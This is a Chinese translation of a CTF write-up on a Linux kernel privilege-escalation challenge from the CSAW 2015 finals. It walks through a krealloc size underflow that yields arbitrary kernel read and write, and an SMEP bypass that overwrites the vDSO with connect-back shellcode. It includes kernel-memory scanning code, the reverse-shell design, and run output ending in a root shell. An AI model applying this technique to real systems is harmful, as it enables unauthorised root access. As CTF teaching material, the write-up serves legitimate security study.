转载

CSAW2015决赛:使用vDSO重写绕过SMEP

今年的CSAW决赛中有几个不错的内核挑战,今天我们解决的是来自 Michael Coppola 的StringIPC。

我们的实验环境为内核版本3.13的64位ubuntu 14.04.3虚拟机,并且开启SMEP,kptr_restrict和dmesg_restrict。这里加载了一个"StringIPC"内核模块,但是源在home目录下,你可以在 这里 查看源代码。

分析内核模块

StringIPC模块实现了一个进程间的基本通信系统,其允许设备的ioctl存储到/dev/csaw并且通过不同通道读取数据。下面这8个不同的ioctl都可以用于对通道的创建,修改,读取/写入:

#define CSAW_IOCTL_BASE     0x77617363 #define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1 #define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2 #define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3 #define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4 #define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5 #define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6 #define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7 #define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

CSAW_ALLOC_CHANNEL允许你分配一个新的通道以及一个给定大小的缓冲区,而CSAW_GROW_CHANNEL和CSAW_SHRINK_CHANNEL使用krealloc可改变通道缓冲区的大小,CSAW_READ_CHANNEL和CSAW_WRITE_CHANNEL可读取/写入CSAW_SEEK_CHANNEL已分配好的内存缓冲区的通道偏移量,最后CSAW_OPEN_CHANNEL和CSAW_CLOSE_CHANNEL处理通道与ioctl之间的交互。

这个BUG位于realloc_ipc_channel中使用的krealloc:

static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow ) {  struct ipc_channel *channel;  size_t new_size;  char *new_data;  channel = get_channel_by_id(state, id);  if ( IS_ERR(channel) )   return PTR_ERR(channel);  if ( grow )   new_size = channel->buf_size + size;  else   new_size = channel->buf_size - size;  new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);  if ( new_data == NULL )   return -EINVAL;  channel->data = new_data;  channel->buf_size = new_size;  ipc_channel_put(state, channel);  return 0; } 

尝试缩小1个单位通道缓冲区,但还是比最初的分配要多,new_size将下溢变成INT_MAX。调用krealloc后增加1,然后溢出变回0。从krealloc源码中,我们可以看到如果new_size为0,其返回ZERO_SIZE_PTR:

void *krealloc(const void *p, size_t new_size, gfp_t flags) {     void *ret;     if (unlikely(!new_size)) {          kfree(p);          return ZERO_SIZE_PTR;     } ...

ZERO_SIZE_PTR被定义为((void *)16),且在调整channel->data = 0×10以及channel->buf_size = INT_MAX之后。从0×10寻找一些偏移量,我们可以在任意内核空间读取/写入数据。

利用任意写

现在我们拥有了读写权限,接下来便可以制作exploit。SMEP已经开启,我们不能进行覆盖而且也不能跳转到用户空间执行一个准备好的Shellcode。为了绕过它,我们可以使用一项覆盖vDSO的技术致使另一外一个拥有root权限的进程执行我们准备的往回连接Shellcode

这里的思路是vDSO映射到内核空间以及每个进程的虚拟内存,其中包括一个以root权限运行的进程。这样做事为了加快调用特定的syscalls(不需要context切换也能正常工作),在用户空间vDSO映射为R/X,在内核空间为R/W。我们可以在内核空间进行修改,用户可在用户空间执行。

使用这项技术需要以下几步骤:

1.获得任意读写权限 2.在内核空间定位vDSO 3.创建一个往回连接Shellcode的root进程 4.用我们的Shellcode覆盖部分vDSO 5.监听我们的root Shell

对于第一步,我们已经完成。接下来便是在内核空间定位vDSO了

定位vDSO

以下为内核空间中初始化的vDSO内核代码:

static int __init init_vdso_vars(void) {  int npages = (vdso_end - vdso_start + PAGE_SIZE - 1) / PAGE_SIZE;  int i;  char *vbase;  vdso_size = npages << PAGE_SHIFT;  vdso_pages = kmalloc(sizeof(struct page *) * npages, GFP_KERNEL);  if (!vdso_pages)   goto oom;  for (i = 0; i < npages; i++) {   struct page *p;   p = alloc_page(GFP_KERNEL);   if (!p)    goto oom;   vdso_pages[i] = p;   copy_page(page_address(p), vdso_start + i*PAGE_SIZE);  }  vbase = vmap(vdso_pages, npages, 0, PAGE_KERNEL); ... 

alloc_page在内核空间分配vDSO pages,指针存储在vdso_pages数组。因此想要定位这些pages有很多方法,如果你可以读取/proc/kallsyms,你可以读取vdso_pages来获得直接地址。然而对于这个挑战来说并非如此简单,第二种方法是在内核空间中搜索每个page开头的ELF头(vDSO映射的一部分),通过vDSO签名可以进一步缩小范围,我是这么做得:

void* header = 0; void* loc = 0xffffffff80000000; size_t i = 0; for (; loc<0xffffffffffffafff; loc+=0x1000) {  readMem(&header,loc,8);  if (header==0x010102464c457f) {   fprintf(stderr,"%p elf/n",loc);   readMem(&header,loc+0x270,8);   //Look for 'clock_ge' signature (may not be at this offset, but happened to be)     if (header==0x65675f6b636f6c63) {    fprintf(stderr,"%p found it?/n",loc);    break;   }  } } 

找到vDSO后,我们可以创建Shellcode覆盖之。

Connect-Back Shellcode

Connect-Back Shellcode是一个相对简单的x86-64 Shellcode。第一个修改便是给回调shell增加root进程,当所有的进程调用gettimeofday都会触发代码,对于非root进程是不会触发的。我们可以调用syscall 0×66(sys_getuid)与0进行比较,如果不是,我们会替换为调用syscall 0×60(sys_gettimeofday),这样就不会出啥大问题了。相同思路,即使我们有了root进程,我们不想导致其他东西崩溃,我们可以fork syscall 0×39。对于母进程我们依旧会转发sys_gettimeofday,而子进程则会运行我们的Connect-Back Shellcode

我所使用的Shellcode汇编代码可以在 这里 查看,它连接到127.0.0.1的3333端口并执行"/bin/sh"

最后我们还需要转储vDSO并检测gettimeofday所在的偏移位置。获得这些信息之后我们就可以用Shellcode覆盖这个位置,然后等待进程调用它。我设置了一个cron命令作为保险,最终代码你可以在 这里 查看,以下为运行片段:

csaw@team7:~$ id uid=1000(csaw) gid=1000(csaw) groups=1000(csaw) csaw@team7:~$ ./a.out  allocate fd: 3 ret: 0 id:1 Shrink: 0 err:0 ZERO_SIZED_POINTER = 0x10 0xffffffff817bc000 elf 0xffffffff817d1000 elf 0xffffffff81b6c000 elf 0xffffffff81b9e000 elf 0xffffffff81c03000 elf 0xffffffff81c03000 found it? Listening on [0.0.0.0] (family 0, port 3333) Connection from [127.0.0.1] port 3333 [tcp/*] accepted (family 2, sport 58568) id uid=0(root) gid=0(root) groups=0(root)

总结

并非只有vDSO可以映射内核空间和用户空间,在x86-64中vSYSCALL serves有一个函数就与vDSO十分类似,然而在本次挑战中没有开启kernel.vsyscall64,所以只能通过调用vDSO来代替了。如果vm.vdso_enable也为0,也能够轻松绕过vDSO并且libc wrappers会默认为正常的系统调用。

vDSO/vSYSCALL覆盖也是一项十分不错的技术,利用中断context而不需要本地进程映射内存或者获取更高权限的凭证。

当然,还有许多的解题方法,原作者给出的方法可以在 这里 查看

*参考来源: itszn ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...